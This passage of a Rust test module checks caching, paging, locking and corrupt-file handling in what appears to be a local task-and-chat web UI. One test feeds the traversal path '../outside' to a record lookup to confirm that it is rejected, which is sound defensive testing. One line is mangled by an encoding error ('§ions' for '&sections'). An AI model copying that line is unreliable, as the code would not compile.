26055 finished
26056 .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26057 .unwrap();
26058 });
26059 let completed = result.recv_timeout(Duration::from_secs(2));
26060 release.send(()).unwrap();
26062 scan.join().unwrap();
26063 queue.join().unwrap();
26064 assert!(
26065 completed.unwrap(),
26066 "queue paging must not wait for chat header I/O"
26067 );
26068 }
26069
26070 #[test]
26071 fn talk_status_projection_does_not_cache_files_changed_during_read() {
26072 let home = tempfile::tempdir().unwrap();
26073 let ui = delta_test_ui(home.path());
26074 let ids = vec!["changing-chat".to_owned()];
26075 seed_talk_at(&ui.talks, &ids[0], "closed");
26076 assert!(open_talk_ids(&ui, &ids).is_empty());
26077 seed_talk_at(&ui.talks, &ids[0], "open");
26078 let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26079 let value: serde_json::Value =
26080 serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26081 seed_talk_at(&ui.talks, &ids[0], "closed");
26083 serde_json::from_value(value["status"].clone()).ok()
26084 });
26085 assert!(open.contains(&ids[0]));
26086 assert!(
26087 ui.monitor
26088 .talk_status_index
26089 .lock()
26090 .unwrap()
26091 .records
26092 .is_empty()
26093 );
26094 assert!(open_talk_ids(&ui, &ids).is_empty());
26095 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26096 }
26097
26098 #[test]
26099 fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26100 let home = tempfile::tempdir().unwrap();
26101 let ui = delta_test_ui(home.path());
26102 let ids = vec!["same-stamp-chat".to_owned()];
26103 seed_talk_at(&ui.talks, &ids[0], "open");
26104 ui.monitor.talk_status_index.lock().unwrap().records.insert(
26107 ids[0].clone(),
26108 (
26109 file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26110 Some(talk::TalkStatus::Closed),
26111 ),
26112 );
26113 let open = open_talk_ids_with(&ui, &ids, false, |path| {
26114 std::fs::File::open(path).ok().and_then(read_talk_status)
26115 });
26116 assert!(
26117 open.contains(&ids[0]),
26118 "an untrusted cache hit must still read the current header"
26119 );
26120 assert!(
26121 ui.monitor
26122 .talk_status_index
26123 .lock()
26124 .unwrap()
26125 .records
26126 .is_empty()
26127 );
26128 seed_talk_at(&ui.talks, &ids[0], "closed");
26129 assert!(
26130 open_talk_ids_with(&ui, &ids, false, |path| {
26131 std::fs::File::open(path).ok().and_then(read_talk_status)
26132 })
26133 .is_empty()
26134 );
26135 let index = ui.monitor.talk_status_index.lock().unwrap();
26136 assert_eq!(index.parses, 2);
26137 assert!(
26138 index.records.is_empty(),
26139 "untrusted fingerprints must never publish cache entries"
26140 );
26141 }
26142
26143 #[test]
26144 fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26145 let home = tempfile::tempdir().unwrap();
26146 let ui = delta_test_ui(home.path());
26147 let headers = header::HeaderMap::new();
26148 seed_talk_at(&ui.talks, "open-chat", "open");
26149 seed_talk_at(&ui.talks, "closed-chat", "closed");
26150 talk_rows(
26151 &ui,
26152 vec!["open-chat".into(), "closed-chat".into()],
26153 &headers,
26154 );
26155 {
26156 let mut index = ui.monitor.talk_index.lock().unwrap();
26157 let closed = index["closed-chat"].1.clone();
26158 for i in 0..1000 {
26159 index.insert(
26160 format!("cached-closed-{i}"),
26161 (
26162 file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26163 closed.clone(),
26164 ),
26165 );
26166 }
26167 }
26168 assert_eq!(
26169 talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26170 1
26171 );
26172 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26173 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26174 assert_eq!(
26175 ui.monitor
26176 .talk_parses
26177 .load(std::sync::atomic::Ordering::Relaxed),
26178 2
26179 );
26180 {
26181 let mut index = ui.monitor.talk_index.lock().unwrap();
26182 let open = index["open-chat"].1.clone();
26183 for i in 0..1000 {
26184 index.insert(
26185 format!("cached-open-{i}"),
26186 (
26187 file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26188 open.clone(),
26189 ),
26190 );
26191 }
26192 }
26193 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26195 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26196 assert_eq!(
26197 ui.monitor
26198 .talk_parses
26199 .load(std::sync::atomic::Ordering::Relaxed),
26200 2
26201 );
26202 }
26203
26204 #[test]
26205 fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26206 let home = tempfile::tempdir().unwrap();
26207 let ui = delta_test_ui(home.path());
26208 std::fs::create_dir_all(ui.talks.root()).unwrap();
26209 let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26210 for id in &ids {
26211 std::fs::write(
26212 ui.talks.path_of(id),
26213 r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26214 )
26215 .unwrap();
26216 }
26217 assert!(open_talk_ids(&ui, &ids).is_empty());
26218 assert_eq!(
26219 ui.monitor.talk_status_index.lock().unwrap().parses,
26220 ids.len()
26221 );
26222 assert!(open_talk_ids(&ui, &ids).is_empty());
26223 let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26224 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26225 std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26226 std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26227 assert_eq!(
26228 open_talk_ids(&ui, &ids),
26229 std::collections::HashSet::from([ids[0].clone()])
26230 );
26231 let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26232 let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26233 assert_eq!(parsed, reused + refreshed);
26234 open_talk_ids(&ui, &ids);
26235 assert_eq!(
26236 ui.monitor.talk_status_index.lock().unwrap().parses,
26237 parsed + if cfg!(unix) { 0 } else { ids.len() },
26238 "only reliable file identity permits caching, including unreadable rows"
26239 );
26240 std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26241 assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26242 assert!(
26243 !ui.monitor
26244 .talk_status_index
26245 .lock()
26246 .unwrap()
26247 .records
26248 .contains_key(&ids[0])
26249 );
26250 assert!(
26251 ui.monitor.talk_index.lock().unwrap().is_empty(),
26252 "classification never caches bodies"
26253 );
26254 }
26255
26256 #[tokio::test]
26257 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26258 let home = tempfile::tempdir().unwrap();
26259 let ui = delta_test_ui(home.path());
26260 let mut task = Task::new(
26261 "task".into(),
26262 "body".into(),
26263 PathBuf::from("/repo"),
26264 Source::Human,
26265 );
26266 ui.queue.put(&mut task).unwrap();
26267 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26268 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26269 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26270 let expected = parsed + usize::from(!cfg!(unix));
26271 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26272 task.status = crate::queue::TaskStatus::Held;
26273 ui.queue.put(&mut task).unwrap();
26274 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26275 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26276 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26277 ui.queue.put(&mut task).unwrap();
26278 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26279 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26280 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26281 }
26282
26283 #[tokio::test]
26284 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26285 let home = tempfile::tempdir().unwrap();
26286 let ui = delta_test_ui(home.path());
26287 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26288 let before = health(State(ui.clone())).await.unwrap().0;
26289 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26290 let after = health(State(ui)).await.unwrap().0;
26291 assert_ne!(before.notifications_rev, after.notifications_rev);
26292 assert_eq!(after.notifications_unread, 1);
26293 }
26294
26295 #[tokio::test]
26296 async fn list_pages_bound_history_and_keep_dependency_evidence() {
26297 let home = tempfile::tempdir().unwrap();
26298 let ui = delta_test_ui(home.path());
26299 let queue = &ui.queue;
26300 let talks = &ui.talks;
26301 for i in 0..1000 {
26302 let id = format!("20261019-{i:06}-page");
26303 let mut task = Task::new(
26304 "task".into(),
26305 "instruction".repeat(100),
26306 PathBuf::from("/repo/magi"),
26307 Source::Human,
26308 );
26309 task.id = id.clone();
26310 if i == 0 {
26311 task.status = crate::queue::TaskStatus::Held;
26312 } else if i == 999 {
26313 task.status = crate::queue::TaskStatus::Blocked;
26314 task.blocked_by = vec!["20261019-000000-page".into()];
26315 }
26316 queue.put(&mut task).unwrap();
26317 seed_talk_at(talks, &id, "closed");
26318 }
26319 let page = serde_json::to_value(
26320 queue_page(State(ui.clone()), Query(PageQuery::default()))
26321 .await
26322 .unwrap()
26323 .0,
26324 )
26325 .unwrap();
26326 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26327 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26328 assert!(
26329 !page["rows"][0]["stuck_roots"]
26330 .as_array()
26331 .unwrap()
26332 .is_empty()
26333 );
26334 let cursor = page["next"].as_str().unwrap();
26335 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26336 .as_str()
26337 .unwrap();
26338 std::fs::remove_file(queue.path_of(last_id)).unwrap();
26340 let next = serde_json::to_value(
26341 queue_page(
26342 State(ui.clone()),
26343 Query(PageQuery {
26344 before: Some(cursor.into()),
26345 }),
26346 )
26347 .await
26348 .unwrap()
26349 .0,
26350 )
26351 .unwrap();
26352 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26353 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26354 let chats = serde_json::to_value(
26355 talks_page(
26356 State(ui.clone()),
26357 Query(PageQuery::default()),
26358 header::HeaderMap::new(),
26359 )
26360 .await
26361 .unwrap()
26362 .0,
26363 )
26364 .unwrap();
26365 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26366 assert!(chats["rows"][0].get("pending").is_none());
26367 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26368 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26369 assert_eq!(counts["held"], 1);
26370 assert_eq!(counts["blocked"], 1);
26371 assert_eq!(counts["queued"], 997);
26372 }
26373
26374 #[test]
26375 fn queue_index_observes_external_replacement_deletion_and_corruption() {
26376 let dir = tempfile::tempdir().unwrap();
26377 let ui = delta_test_ui(dir.path());
26378 let mut task = Task::new(
26379 "task".into(),
26380 "body".into(),
26381 PathBuf::from("/repo"),
26382 Source::Human,
26383 );
26384 task.runs = vec!["run-a".into()];
26385 ui.queue.put(&mut task).unwrap();
26386 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26387 task.runs = vec!["run-b".into()];
26388 let path = ui.queue.path_of(&task.id);
26389 let modified = path.metadata().unwrap().modified().unwrap();
26390 let replacement = path.with_extension("replacement");
26391 let bytes = serde_json::to_vec_pretty(&task).unwrap();
26392 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26393 std::fs::write(&replacement, &bytes).unwrap();
26394 std::fs::File::options()
26395 .write(true)
26396 .open(&replacement)
26397 .unwrap()
26398 .set_times(std::fs::FileTimes::new().set_modified(modified))
26399 .unwrap();
26400 std::fs::rename(&replacement, &path).unwrap();
26401 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26402 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26403 std::fs::write(&path, "broken").unwrap();
26404 assert!(ui.find_task_for_run("run-b").is_err());
26405 std::fs::write(&path, bytes).unwrap();
26406 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26407 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26408 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26409 }
26410
26411 #[tokio::test]
26412 async fn conversation_core_is_independent_of_unreadable_related_history() {
26413 let home = tempfile::tempdir().unwrap();
26414 let ui = delta_test_ui(home.path());
26415 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26416 std::fs::create_dir_all(ui.queue.root()).unwrap();
26417 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26418 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26419 .await
26420 .unwrap();
26421 assert_eq!(core.talk.id, id);
26422 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26423 }
26424
26425 #[test]
26426 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26427 let home = tempfile::tempdir().unwrap();
26428 let ui = delta_test_ui(home.path());
26429 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26430 let directory = home.path().join("workers/jobs/abcdef");
26431 std::fs::create_dir_all(&directory).unwrap();
26432 let job = crate::worker::Job {
26433 id: "abcdef".into(),
26434 sequence: 1,
26435 kind: "chat".into(),
26436 key: id.clone(),
26437 payload: serde_json::json!({ "talk": id }),
26438 generation: "test".into(),
26439 version: None,
26440 status: crate::worker::Status::Running,
26441 result: None,
26442 pid: None,
26443 created_at: 0,
26444 finished_at: None,
26445 };
26446 std::fs::write(
26447 directory.join("job.json"),
26448 serde_json::to_vec(&job).unwrap(),
26449 )
26450 .unwrap();
26451 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26452 let store =
26453 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26454 let runtime = tokio::runtime::Builder::new_current_thread()
26455 .enable_all()
26456 .max_blocking_threads(1)
26457 .build()
26458 .unwrap();
26459 runtime.block_on(async {
26460 let (release, held) = std::sync::mpsc::channel();
26461 let (started, ready) = tokio::sync::oneshot::channel();
26462 let occupied = tokio::task::spawn_blocking(move || {
26463 started.send(()).unwrap();
26464 held.recv().unwrap();
26465 });
26466 ready.await.unwrap();
26467 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26468 let bulk = ui
26469 .monitor
26470 .bulk_slots
26471 .clone()
26472 .acquire_many_owned(2)
26473 .await
26474 .unwrap();
26475 let result = tokio::time::timeout(
26476 Duration::from_secs(2),
26477 talk_core(State(ui.clone()), Path(id.clone())),
26478 )
26479 .await;
26480 drop(store);
26482 drop(bulk);
26483 release.send(()).unwrap();
26484 occupied.await.unwrap();
26485 let _ = secondary.await.unwrap().unwrap();
26486 let Json(core) = result
26487 .expect("transcript must bypass secondary work and the worker store lock")
26488 .unwrap();
26489 assert!(
26490 core.thinking,
26491 "read-only observation retains live worker state"
26492 );
26493 assert_eq!(core.talk.id, id);
26494 let admission_ui = ui.clone();
26495 let (release, held) = std::sync::mpsc::channel();
26496 let (started, ready) = tokio::sync::oneshot::channel();
26497 let admission = std::thread::spawn(move || {
26498 let _lock = admission_ui.talk_turns.lock().unwrap();
26499 started.send(()).unwrap();
26500 held.recv().unwrap();
26501 });
26502 ready.await.unwrap();
26503 let result = tokio::time::timeout(
26504 Duration::from_secs(2),
26505 talk_core(State(ui.clone()), Path(id.clone())),
26506 )
26507 .await;
26508 release.send(()).unwrap();
26509 admission.join().unwrap();
26510 assert!(
26511 result
26512 .expect("display must not wait behind local admission")
26513 .unwrap()
26514 .0
26515 .thinking
26516 );
26517 assert!(ui.is_thinking(&id));
26518 assert!(ui.is_thinking_observed(&id));
26519 drop(live);
26520 assert!(
26521 !ui.is_thinking_observed(&id),
26522 "a finished lease no longer appears live"
26523 );
26524 assert!(!ui.is_thinking(&id));
26525 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26526 assert!(
26527 ui.is_thinking_observed(&id),
26528 "local admission remains visible"
26529 );
26530 });
26531 }
26532
26533 #[tokio::test]
26534 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26535 let home = tempfile::tempdir().unwrap();
26536 let ui = delta_test_ui(home.path());
26537 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26538 let mut task = Task::new(
26539 "Referenced task".into(),
26540 "Unrelated instruction history".repeat(1024),
26541 home.path().into(),
26542 Source::Human,
26543 );
26544 task.id = "20261019-000000-abcd".into();
26545 ui.queue.put(&mut task).unwrap();
26546 let mut conversation = ui.talks.get(&id).unwrap();
26547 conversation.turns.push(talk::Turn {
26548 sender: Some(talk::Sender::Persona),
26549 who: talk::Who::Agent,
26550 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26551 at: conversation.created_at,
26552 attachments: Vec::new(),
26553 usage: None,
26554 breaks: None,
26555 messages: Vec::new(),
26556 posted_by: None,
26557 });
26558 ui.talks.put(&mut conversation).unwrap();
26559
26560 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26561 let markdown = serde_json::to_value(&core.turn_bodies_md)
26562 .unwrap()
26563 .to_string();
26564 assert!(markdown.contains("\"strong\""));
26565 assert!(markdown.contains("\"table\""));
26566 assert!(markdown.contains("\"bullet_list\""));
26567 assert!(markdown.contains("\"code_block\""));
26568 assert!(!markdown.contains("\"internal_link\""));
26569 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26570 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26571 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26572
26573 let references = ui.references.for_talk(home.path(), &conversation);
26576 let mut decorated = core.turn_bodies_md[0].clone();
26577 references.markdown(&mut decorated);
26578 let decorated = serde_json::to_value(decorated).unwrap().to_string();
26579 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26580 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26581 assert_eq!(
26582 ui.talks.get(&conversation.id).unwrap().turns[0].body,
26583 conversation.turns[0].body
26584 );
26585 }
26586
26587 #[tokio::test]
26588 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26589 let home = tempfile::tempdir().unwrap();
26590 let ui = delta_test_ui(home.path());
26591 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26592 let mut run = RunState::new(
26593 PathBuf::from("/repo"),
26594 "main".into(),
26595 "01234567".into(),
26596 "Useful run".into(),
26597 Config::default(),
26598 );
26599 run.save_under(home.path()).unwrap();
26600 let mut task = Task::new(
26601 "Related".into(),
26602 "body".into(),
26603 PathBuf::from("/repo"),
26604 Source::Agent {
26605 run: talk_id.clone(),
26606 node: "chat".into(),
26607 },
26608 );
26609 task.runs = vec![run.id.clone()];
26610 ui.queue.put(&mut task).unwrap();
26611 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26612 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26613 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26614 assert!(
26615 run_detail(State(ui.clone()), Path(run.id.clone()))
26616 .await
26617 .is_ok()
26618 );
26619 assert!(
26620 talk_sections(State(ui.clone()), Path(talk_id.clone()))
26621 .await
26622 .is_ok()
26623 );
26624 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26626 assert!(ui.find_task_for_run(&run.id).is_err());
26627 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26628 ui.queue.put(&mut task).unwrap();
26629 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26630 }
26631
26632 #[tokio::test]
26633 async fn conversation_sections_omit_large_task_instructions() {
26634 let home = tempfile::tempdir().unwrap();
26635 let ui = delta_test_ui(home.path());
26636 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26637 let mut task = Task::new(
26638 "filed task".into(),
26639 "large instruction ".repeat(65536),
26640 PathBuf::from("/repo"),
26641 Source::Agent {
26642 run: id.clone(),
26643 node: "chat".into(),
26644 },
26645 );
26646 ui.queue.put(&mut task).unwrap();
26647 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26648 assert_eq!(sections["tasks"][0]["id"], task.id);
26649 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26650 assert!(sections["tasks"][0].get("instruction").is_none());
26651 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
26652 }
26653
26654 #[test]
26655 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26656 let home = tempfile::tempdir().unwrap();
26657 let talks = Talks::at(home.path().join("talks"));
26658 seed_talk_at(&talks, "20261019-000001-abcd", "open");
26659 seed_talk_at(&talks, "20261019-000002-abcd", "open");
26660 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26661 assert!(resolve_talk(&talks, "../outside").is_err());
26662 assert!(resolve_talk(&talks, "abcd").is_err());
26663 assert_eq!(
26664 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26665 "20261019-000001-abcd"
26666 );
26667 }
26668
26669 include!(concat!(
26670 env!("CARGO_MANIFEST_DIR"),
26671 "/tests/web_latency/baseline.rs"
26672 ));
26673
26674 include!(concat!(
26675 env!("CARGO_MANIFEST_DIR"),
26676 "/tests/web_latency/lists.rs"
26677 ));
26678
26679 #[tokio::test]
26680 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26681 async fn web_history_latency_measurement() {
26682 use std::time::Instant;
26683 let home = tempfile::tempdir().unwrap();
26684 let ui = delta_test_ui(home.path());
26685 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26686 let mut template = ui.talks.get(&id).unwrap();
26687 template.turns = serde_json::from_value(serde_json::json!([{
26688 "who": "operator", "body": "Show the accumulated work and its current status.",
26689 "at": Timestamp::now().to_string(),
26690 }]))
26691 .unwrap();
26692 std::fs::write(
26693 ui.talks.path_of(&id),
26694 serde_json::to_vec(&template).unwrap(),
26695 )
26696 .unwrap();
26697 let count = std::env::var("MAGI_BENCH_RECORDS")
26698 .ok()
26699 .and_then(|s| s.parse::<usize>().ok())
26700 .unwrap_or(1000);
26701 for i in 0..count {
26702 template.id = format!("20261019-{i:06}-history");
26703 template.pending = "history ".repeat(2048);
26704 std::fs::write(
26705 ui.talks.path_of(&template.id),
26706 serde_json::to_vec(&template).unwrap(),
26707 )
26708 .unwrap();
26709 let mut task = Task::new(
26710 "old task".into(),
26711 "instruction ".repeat(2048),
26712 PathBuf::from("/repo"),
26713 Source::Human,
26714 );
26715 task.id = format!("20261019-{i:06}-task");
26716 ui.queue.put(&mut task).unwrap();
26717 }
26718 for baseline in [true, false] {
26719 for clients in [1, 4] {
26720 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26721 let mut samples = Vec::new();
26722 for _ in 0..12 {
26723 let mut jobs = Vec::new();
26724 for _ in 0..clients {
26725 let ui = ui.clone();
26726 let id = id.clone();
26727 jobs.push(tokio::spawn(async move {
26728 let start = Instant::now();
26729 if baseline {
26730 let response =
26731 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26732 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26733 return (
26734 elapsed,
26735 elapsed,
26736 serde_json::to_vec(&response).unwrap().len(),
26737 );
26738 }
26739 let core = talk_core(State(ui.clone()), Path(id.clone()));
26740 let secondary = talk_sections(State(ui), Path(id));
26741 let (first, total) = tokio::join!(
26742 async {
26743 let value = core.await.unwrap().0;
26744 (
26745 start.elapsed().as_secs_f64() * 1000.0,
26746 serde_json::to_vec(&value).unwrap().len(),
26747 )
26748 },
26749 async {
26750 let value = secondary.await.unwrap().0;
26751 (
26752 start.elapsed().as_secs_f64() * 1000.0,
26753 serde_json::to_vec(&value).unwrap().len(),
26754 )
26755 }
26756 );
26757 (first.0, first.0.max(total.0), first.1 + total.1)
26758 }));
26759 }
26760 for job in jobs {
26761 samples.push(job.await.unwrap());
26762 }
26763 }
26764 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26765 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26766 first.sort_by(f64::total_cmp);
26767 total.sort_by(f64::total_cmp);
26768 let n = first.len();
26769 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26770 println!(
26771 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26772 first[n / 2],
26773 first[(n * 95 / 100).min(n - 1)],
26774 total[n / 2],
26775 total[(n * 95 / 100).min(n - 1)],
26776 samples[0].2
26777 );
26778 }
26779 }
26780 }
26781
26782 #[test]
26783 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26784 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26786 assert!(APP_JS.contains("function nextRunRequest(id)"));
26787 assert!(APP_JS.contains("function runShell(id, summary)"));
26788 assert!(APP_JS.contains("function nextTaskRequest(id)"));
26789 assert!(APP_JS.contains("function taskShell(id, summary)"));
26790 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26791 }
26792}